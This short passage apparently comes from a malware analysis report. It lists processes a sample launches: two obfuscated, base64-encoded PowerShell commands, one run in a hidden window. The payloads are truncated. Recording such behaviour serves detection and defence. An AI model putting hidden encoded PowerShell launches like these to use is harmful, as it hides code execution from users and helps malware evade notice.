Техническая информация
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABzAHkAbgB0AGgAZQBzAGkAegBlAHEAcwB3AD0AJwBTAHAAcgBpAG4AZwBzAHQAcABvACcAOwAkAGgAYQByAGQAdwBhAHIAZQB...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABzAHkAbgB0AGgAZQBzAGkAegBlAHEAcwB3AD0AJwBTAHAAcgBpAG4AZwBzAHQAcABvACcAOwAkAGgAYQByAGQAdwBhAHIAZQB...' (со скрытым окном)